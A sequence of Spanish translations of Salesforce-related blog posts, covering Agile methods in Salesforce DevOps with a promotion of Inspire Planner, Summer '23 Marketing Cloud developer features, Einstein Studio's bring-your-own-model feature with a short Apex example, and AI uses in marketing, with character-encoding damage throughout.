  • Seleccione un marco 谩gil adecuado

    Elija Scrum o Kanban seg煤n los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci贸n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas 谩giles de gesti贸n de proyectos

    Utilice herramientas dise帽adas espec铆ficamente para pr谩cticas 谩giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici贸n. Si su organizaci贸n utiliza Salesforce, idealmente deber铆a buscar una herramienta de gesti贸n de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicaci贸n abierta, la retroalimentaci贸n frecuente y la colaboraci贸n activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que tambi茅n pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea r谩pido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri贸dicas de preparaci贸n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est茅 preparado para incorporar cambios en el pr贸ximo sprint (en Scrum) o cuando el l铆mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu茅s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu茅 funcion贸 bien, qu茅 no y c贸mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est谩n espec铆ficamente dise帽adas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente 煤til si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta 谩gil de gesti贸n de proyectos para SalesforceInspire Planner: herramienta 谩gil de gesti贸n de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporaci贸n de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementaci贸n y ejecuci贸n sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi贸n clara de los principios y pr谩cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci贸n adecuada antes de la implementaci贸n.
  • Descuidar la comunicaci贸n : la comunicaci贸n regular y clara es crucial en las metodolog铆as 谩giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m谩s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m谩s efectiva. Aseg煤rese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l铆mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r谩pidamente, los equipos pueden comprometer la calidad. Incorpore pr谩cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri贸dicas para identificar y abordar 谩reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog铆as 谩giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog铆as sean menos efectivas. Supere esto a trav茅s de capacitaci贸n, comunicaci贸n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici贸n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi贸n e ineficiencia. Busque una aplicaci贸n de gesti贸n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci贸n y formaci贸n.
  • Falta de participaci贸n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog铆as 谩giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodolog铆as 谩giles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarroll贸 Jira como una herramienta vers谩til compatible con Scrum, Kanban y metodolog铆as mixtas. Sus s贸lidas funciones incluyen la priorizaci贸n de tareas pendientes, la planificaci贸n de sprints, los gr谩ficos de avance y reducci贸n, los flujos de trabajo personalizados y m谩s. Sin embargo, para integrar Jira con Salesforce, deber谩 configurar una soluci贸n de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog铆as Scrum y Kanban listas para usar. Inspire Planner tiene m谩s de 130 rese帽as de 5 estrellas en AppExchange e incluye todas las funciones est谩ndar, como trabajos pendientes, sprints, puntos de la historia, gr谩ficos de trabajo pendiente y m谩s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integraci贸n perfecta con Salesforce, sino que tambi茅n le permite personalizar completamente la aplicaci贸n para agilizar su proceso de gesti贸n de proyectos.

驴Y si necesita la gesti贸n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi茅n ofrece funciones avanzadas de gesti贸n de proyectos para esta metodolog铆a, incluido un gr谩fico de Gantt interactivo, gesti贸n de recursos, seguimiento del tiempo, carteras, gesti贸n de riesgos, l铆neas base, dependencias de tareas avanzadas, ruta cr铆tica, uso compartido externo, gesti贸n de restricciones, automatizaci贸n. , y mucho m谩s.

Trello

Trello es un sistema f谩cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci贸n o las funciones de generaci贸n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci贸n atractiva para equipos m谩s peque帽os o proyectos simples.

Una mirada m谩s cercana a Inspire Planner

Inspire Planner est谩 dise帽ado para ser una soluci贸n de gesti贸n de proyectos Agile integral pero f谩cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Aqu铆 hay algunas razones por las que Inspire Planner podr铆a ser una buena opci贸n para su equipo:

  • Soporte 谩gil completo : Inspire Planner es compatible con las metodolog铆as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f谩cilmente la acumulaci贸n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.
  • Integraci贸n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci贸n de datos y conecta sus datos de Salesforce con sus flujos de trabajo 谩giles.
  • Colaboraci贸n : Aprovecha Chatter de Salesforce para la comunicaci贸n, fomentando la colaboraci贸n dentro del equipo. Tambi茅n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r谩pidamente nuevos equipos e impulse la adopci贸n a trav茅s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est谩ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m谩s.

Elegir la herramienta adecuada para sus necesidades y el tama帽o de su equipo

Elegir la herramienta adecuada depende del tama帽o de su equipo, la complejidad del proyecto y la metodolog铆a Agile que siga. Aqu铆 hay algunas pautas:

  • Tama帽o del equipo y complejidad del proyecto : para equipos peque帽os o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m谩s robusta como Jira o Inspire Planner podr铆a ser m谩s adecuada para equipos m谩s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m谩s.
  • Integraci贸n de Salesforce : si su organizaci贸n utiliza mucho Salesforce, una aplicaci贸n nativa de Salesforce como Inspire Planner podr铆a ser la mejor opci贸n para una integraci贸n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci贸n de Salesforce para comenzar.
  • Metodolog铆a 谩gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr铆an ser preferibles. Para Kanban, las tres herramientas podr铆an satisfacer sus necesidades. Para una combinaci贸n de metodolog铆as Agile y Waterfall, Inspire Planner ser铆a la mejor opci贸n.
  • Presupuesto : El costo podr铆a ser otro factor decisivo. Trello suele ser m谩s rentable para equipos peque帽os, mientras que Jira e Inspire Planner ofrecen funciones m谩s avanzadas a un costo mayor.

Conclusi贸n

La incorporaci贸n de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboraci贸n en equipo, la satisfacci贸n del cliente, la eficiencia y la gesti贸n de riesgos. El 茅nfasis en el desarrollo iterativo y la garant铆a de calidad garantiza est谩ndares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el coraz贸n de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aqu铆 hay algunas ideas procesables:

  • Comprom茅tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci贸n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la 煤nica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci贸n : promover una cultura de comunicaci贸n abierta y colaboraci贸n. Esto puede conducir a soluciones m谩s innovadoras y a un equipo m谩s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci贸n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodolog铆as 谩giles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacci贸n del cliente.

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Explore el lanzamiento de Summer '23 Marketing Cloud para desarrolladores 鈽侊笍

Explore el lanzamiento de Summer '23 Marketing Cloud para desarrolladores 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la versi贸n Summer '23 Marketing Cloud para desarrolladores | Blog de desarrolladores de Salesforce

El lanzamiento de Summer '23 Marketing Cloud est谩 muy caliente con algunas caracter铆sticas nuevas y geniales para los desarrolladores. Hay muchas innovaciones en todos los canales para mensajes de correo electr贸nico, p谩ginas de destino, aplicaciones m贸viles, datos e inteligencia artificial. En este blog, cubrir茅 mis mejores selecciones y los aspectos m谩s destacados favoritos del lanzamiento.

BuildRowSetFromJSON()

Ha habido mucho revuelo en torno a esta nueva funci贸n de AMPscript en la comunidad, y con raz贸n. Esto significa que no hay manera de que pueda dejar esto fuera de mi lista. La nueva funci贸n AMPscript BuildRowsetFromJSON() permite a los desarrolladores analizar JSON en sus mensajes de correo electr贸nico y p谩ginas de destino. Antes de BuildRowSetFromJSON() , los desarrolladores necesitaban usar Guide Template Language o Server-Side JavaScript para analizar JSON. Ahora, los desarrolladores pueden seguir con AMPscript en lugar de cambiar a otro lenguaje de programaci贸n de Marketing Cloud para analizar su JSON.

API de descarga del historial de viajes

Con la API de descarga del historial de Journey , los desarrolladores pueden descargar hasta 30 d铆as de datos del historial de Journey Builder a trav茅s de la API REST. Algunos de los datos que los desarrolladores podr谩n descargar incluyen detalles sobre los criterios de entrada y salida del viaje, el estado de la actividad y los errores. Puede descargar los datos a trav茅s del formato CSV para casos de uso como resoluci贸n de problemas, reconciliaci贸n de errores, segmentaci贸n avanzada, datos sin procesar para herramientas de visualizaci贸n, campa帽as de retargeting y m谩s. Agregamos esta nueva API a nuestra colecci贸n p煤blica de Postman y lanzamos dos rutas adicionales ( frescura y estimaci贸n ) para ayudarlo a comprender mejor los datos que consulta.

Contenido de error personalizado de CloudPages

A veces ocurren errores, y la forma en que los desarrolladores manejan los errores puede afectar potencialmente a los clientes y su experiencia. Una CloudPage puede encontrar un error porque no est谩 publicada, o puede haber un error debido a un c贸digo personalizado existente que afecta la capacidad de procesamiento de la CloudPage. En CloudPages, los desarrolladores ahora pueden configurar contenido personalizado para los errores, lo que permitir谩 a los desarrolladores dirigir con gracia a sus clientes a activos alternativos en caso de error. La siguiente imagen muestra la nueva capacidad con la opci贸n de configurar el contenido de error personalizado. Dato curioso: 隆esta fue una idea en el intercambio de ideas que se entreg贸 en este lanzamiento!

SDK para m贸viles de fidelizaci贸n

El kit de desarrollo de software m贸vil (SDK) de fidelizaci贸n es un nuevo kit de desarrollo de software que permite a los desarrolladores crear aplicaciones m贸viles para los programas de fidelizaci贸n de su empresa.

La ayuda de Mobile SDK consta de funciones y capacidades nativas, como la inscripci贸n y los detalles del perfil. El SDK est谩 disponible para el desarrollo de iOS y Android . El SDK de Loyalty Mobile se basa en la plataforma principal y utiliza funcionalidades principales. Sin embargo, es parte de la familia Marketing Cloud. Los desarrolladores de Salesforce que ya est谩n familiarizados con la creaci贸n de la plataforma central deber铆an considerar que se trata de un SDK muy nuevo y divertido con el que experimentar. Desarrolladores de Marketing Cloud, 隆esto es algo muy emocionante y nuevo para aprender!

Einstein Studio Traiga su propio modelo de inteligencia artificial (IA)/aprendizaje autom谩tico (ML) a la nube de datos

Los desarrolladores seguramente se divertir谩n, y tal vez un poco de desaf铆o, con el dise帽o de sus propios modelos de IA utilizando Amazon SageMaker y Data Cloud. La integraci贸n de Einstein Studio entre Data Cloud y Amazon SageMaker es nuestra primera asociaci贸n de inteligencia artificial/aprendizaje autom谩tico. Los desarrolladores y los equipos de ciencia de datos pueden crear e incorporar sus propios modelos AI/ML para predicciones de conversi贸n de prospectos, clasificaciones de casos y m谩s. Luego, los especialistas en marketing pueden usar estas predicciones para personalizar cada punto de contacto con sus clientes. Consulte las notas de la versi贸n y la documentaci贸n de ayuda para obtener m谩s informaci贸n.

Espero que haya disfrutado de mis aspectos destacados del lanzamiento de Summer '23 y que est茅 listo para comenzar a desarrollar con las muchas funciones nuevas en la plataforma de Marketing Cloud. Hay muchas m谩s funciones en la versi贸n Summer '23 para desarrolladores que pueden interesarle. Lo animo a consultar las notas de la versi贸n de Marketing Cloud Summer '23 para leer sobre algunas de las otras mejoras incluidas en esta versi贸n.

Recursos

Sobre el Autor

Danielle Larregui es promotora s茅nior de desarrolladores en Salesforce, donde se enfoca en la creaci贸n de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificaci贸n. Danielle tambi茅n disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos t茅cnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al d铆a con su contenido t茅cnico.

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Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

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Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

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Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma f谩cil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos c贸mo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse f谩cilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como res煤menes de casos, respuestas de correo electr贸nico y descripciones de productos. Para obtener m谩s informaci贸n sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar f谩cilmente su modelo con Data Cloud para acceder a predicciones e informaci贸n en tiempo real y usar la informaci贸n de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. Tambi茅n puede usar un modelo generativo para crear campa帽as de correo electr贸nico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

驴Por qu茅 traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federaci贸n de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos r谩pidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimizaci贸n de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatizaci贸n de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en funci贸n de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos espec铆ficos en funci贸n de los datos de compromiso, como su historial de compras o actividad en l铆nea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a trav茅s del canal m谩s apropiado, incluido el correo electr贸nico, una aplicaci贸n m贸vil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como rese帽as de destinos y previsiones meteorol贸gicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qu茅 destinos atraen a clientes espec铆ficos y generar recomendaciones de correo electr贸nico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cu谩ndo es probable que un autom贸vil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campa帽as de marketing de los clientes en funci贸n de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicaci贸n para usar Einstein Studio con AWS SageMaker

En esta secci贸n, analizamos brevemente el flujo de trabajo de la aplicaci贸n con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Despu茅s de la autenticaci贸n, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingenier铆a de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es espec铆fico de Data Wrangler. Pero, 驴qu茅 sucede si es un cient铆fico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementaci贸n en un extremo de invocaci贸n.

Este extremo de invocaci贸n se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener m谩s informaci贸n sobre este flujo de trabajo, consulte el blog de AWS .

C贸mo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con an谩lisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aqu铆 hay un flujo que usa una acci贸n invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realiz贸 una compra reciente. Si se realiz贸 la compra, la acci贸n invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acci贸n invocable tambi茅n se puede llamar en Apex. Vea el ejemplo a continuaci贸n.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} “>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice an谩lisis ad hoc para obtener predicciones

Query API es otra forma r谩pida de obtener puntajes de predicci贸n para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicci贸n de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusi贸n

Einstein Studio es una plataforma de IA f谩cil de usar que permite a los equipos de ciencia e ingenier铆a de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que est茅 listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicaci贸n de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene m谩s de 10 a帽os de experiencia en la planificaci贸n, creaci贸n, lanzamiento y gesti贸n de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje autom谩tico y en la nube. Anteriormente trabaj贸 en la industria de servicios financieros en la ciudad de Nueva York. S铆guelo en LinkedIn o Twitter .

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9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing

9 formas en que la IA puede ahorrar tiempo, dinero y sufrimiento a los especialistas en marketing

驴Tiene una lista de tareas pendientes de tareas molestas que persisten sobre usted? Estamos hablando de los que se deben hacer para ejecutar una campa帽a: recopilar y analizar datos, crear l铆neas de asunto de correo electr贸nico atractivas, determinar la audiencia adecuada a la que apuntar y mucho m谩s. Estas tareas pueden robarle su tiempo, y tal vez incluso su cordura. Pero ahora hay una manera de reducir ese trabajo pesado, ayud谩ndolo a concentrarse en el 茅xito de la campa帽a . Perm铆tanos presentarle su nuevo asistente digital: AI.

A medida que las marcas buscan formas de acercarse a los consumidores, m谩s de la mitad de los especialistas en marketing (62 %) afirman haber invertido en el poder de la IA. Nuestra encuesta State of Marketing m谩s reciente encontr贸 que tres de los cuatro principales casos de uso de IA est谩n relacionados con la automatizaci贸n, lo que destaca la importancia de aumentar la velocidad y la eficacia.

Echemos un vistazo a 9 formas en que el uso de la IA como asistente digital puede aumentar la eficacia y la eficiencia de sus campa帽as. Es hora de decir adi贸s a las tareas de campa帽a manuales redundantes que los especialistas en marketing desear铆an no tener que hacer, y deje que la IA lo ayude a aprovechar al m谩ximo su tiempo.

1. Tome mejores decisiones con an谩lisis e informaci贸n de datos automatizados

AI puede analizar grandes vol煤menes de datos de campa帽a, incluido el comportamiento del cliente, las m茅tricas de rendimiento de la campa帽a y las tendencias del mercado. Puede identificar patrones, extraer informaci贸n, detectar correlaciones y proporcionar recomendaciones pr谩cticas para mejorar las estrategias y la orientaci贸n de la campa帽a.

Obtendr谩 una comprensi贸n m谩s profunda de los clientes y el rendimiento de la campa帽a, lo que le permitir谩 tomar decisiones informadas y encontrar el 茅xito m谩s r谩pido.

2. Aumente el compromiso y las conversiones con la segmentaci贸n de la audiencia

Despu茅s de analizar los datos del cliente , su asistente digital de IA puede segmentar las audiencias seg煤n la demograf铆a, el comportamiento, las preferencias, el historial de compras y otros atributos importantes. AI elimina el esfuerzo manual requerido para segmentar audiencias y se dirige a clientes espec铆ficos con ofertas m谩s relevantes.

Cuando pueda personalizar los mensajes para diferentes segmentos, ver谩 que las campa帽as tienen m谩s 茅xito.

3. Antic铆pese a las necesidades de sus clientes con an谩lisis predictivos

Los modelos predictivos de IA utilizan datos hist贸ricos para pronosticar el comportamiento del cliente, como la probabilidad de convertir, abandonar o interactuar con elementos espec铆ficos de la campa帽a.

Esto lo ayuda a mantenerse un paso adelante para abordar de manera proactiva las necesidades de los clientes y presupuestar los recursos de manera efectiva.

4. Ahorre tiempo con la generaci贸n y optimizaci贸n de contenido

Crear contenido 煤nico con frecuencia puede ser una de las tareas que consume m谩s tiempo para muchos especialistas en marketing, pero un asistente digital de IA puede ayudar. La IA, impulsada por el procesamiento del lenguaje natural (NLP, por sus siglas en ingl茅s), puede generar contenido, como textos de anuncios, l铆neas de asunto de correos electr贸nicos y publicaciones en redes sociales, que resuena con sus clientes .

Puede proporcionar los toques finales para asegurarse de que el contenido est茅 en su voz y tono. Tambi茅n puede optimizar su contenido mediante el an谩lisis de datos de rendimiento, la identificaci贸n de elementos de alto rendimiento y la sugerencia de mejoras.

5. Optimice los flujos de trabajo con la automatizaci贸n de campa帽as

La IA puede automatizar varios aspectos de la ejecuci贸n de la campa帽a, como la programaci贸n y la implementaci贸n de anuncios, el env铆o de correos electr贸nicos dirigidos o la gesti贸n de publicaciones en las redes sociales. Esto reduce el esfuerzo manual y garantiza que su campa帽a se ejecute a tiempo.

驴Qu茅 puedes hacer con el tiempo liberado gracias a la IA? Conc茅ntrese en la estrategia y las ideas innovadoras, ayud谩ndole a construir mejores relaciones con los clientes.

Mu茅vete m谩s r谩pido con IA

Centrarse en la innovaci贸n, no en tareas repetitivas. Vea c贸mo la IA generativa est谩 transformando el marketing.

6. Muestre claramente el 茅xito de la campa帽a con seguimiento e informes de rendimiento

Seg煤n nuestro informe State of Marketing , el 72 % de los especialistas en marketing de alto rendimiento pueden analizar datos en tiempo real, lo que les otorga una ventaja a la hora de responder y optimizar el rendimiento de la campa帽a.

Su asistente digital de IA puede automatizar el seguimiento y la generaci贸n de informes de las m茅tricas de rendimiento de la campa帽a, de formas que cualquiera puede entender. La IA puede generar paneles en tiempo real e informes personalizados agradables a la vista, lo que le brinda a usted y a sus partes interesadas una visi贸n clara del rendimiento de la campa帽a y las m茅tricas clave, sin la necesidad de hacerlo todo a mano.

Esto lo ayuda a tomar decisiones basadas en datos, optimizar campa帽as sobre la marcha y demostrar el valor de sus esfuerzos a las partes interesadas.

7. Vea qu茅 funciona mejor con las pruebas A/B

AI puede realizar pruebas A/B en elementos de campa帽a, como variaciones de anuncios, p谩ginas de destino o dise帽os de correo electr贸nico. Analiza los datos de rendimiento , identifica las variaciones ganadoras y lo ayuda a refinar continuamente sus estrategias.

Unifique su equipo de marketing

Cuando re煤ne todos sus datos de marketing y colabora con sus equipos en una sola plataforma, se mover谩 de manera m谩s eficiente y estar谩 m谩s cerca de sus clientes. Vea c贸mo puede empezar.

8. Aumente los ingresos con la puntuaci贸n y el fomento de clientes potenciales

Con IA, puede automatizar la puntuaci贸n de clientes potenciales mediante el an谩lisis de los datos, el comportamiento y el historial de participaci贸n de los clientes potenciales. Asigna puntajes a los clientes potenciales en funci贸n de su probabilidad de conversi贸n y ofrece contenido personalizado para mover a los clientes potenciales a trav茅s del embudo de ventas.

Con la puntuaci贸n de clientes potenciales de AI, su equipo puede centrarse en los clientes potenciales m谩s prometedores y fomentar las relaciones a gran escala.

9. Mejora la comunicaci贸n con herramientas de colaboraci贸n interna

AI brilla como su asistente digital cuando maneja las necesidades de colaboraci贸n interna. Puede utilizar esta tecnolog铆a para automatizar la mensajer铆a en su departamento, as铆 como la gesti贸n de proyectos, la asignaci贸n de tareas y el uso compartido de archivos. Los equipos pueden incluso aplicar automatizaciones de flujo de trabajo que programen reuniones, env铆en recordatorios u organicen archivos, ocup谩ndose de los peque帽os detalles para que pueda concentrarse en el 茅xito de la campa帽a .

La IA est谩 transformando la gesti贸n de campa帽as al permitir que los equipos automaticen tareas manuales, liberando a los especialistas en marketing para trabajar en ideas m谩s generales. Con AI como su aliado, puede optimizar sus campa帽as, ver mejores resultados y comenzar a enfocarse en sus pr贸ximos 茅xitos.

Vea lo que la IA puede hacer

Aprenda c贸mo la IA puede ayudarlo a moverse de manera m谩s eficiente y crear relaciones significativas con los clientes.

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Sube de nivel como socio de Salesforce 鈽侊笍

Sube de nivel como socio de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cuando nuestros socios tienen 茅xito, tenemos 茅xito. Como socio de confianza, tiene la oportunidad de desbloquear los activos de ventas, la propiedad intelectual, las mejores pr谩cticas, las historias de los clientes, el asesoramiento personalizado y nuestra metodolog铆a de lanzamiento de Salesforce. Esto es todo lo que brindamos a nuestros equipos de ventas internos de Salesforce, entregado en un formato interactivo y atractivo.

鈥淣uestros socios juegan un papel fundamental para ayudar a nuestros clientes a escalar capacidades, innovar y tener 茅xito con Salesforce鈥, dice Steve Corfield, vicepresidente ejecutivo de alianzas globales, canales y productos emergentes de Salesforce.

Comience a aprender con Partner Learning Camp

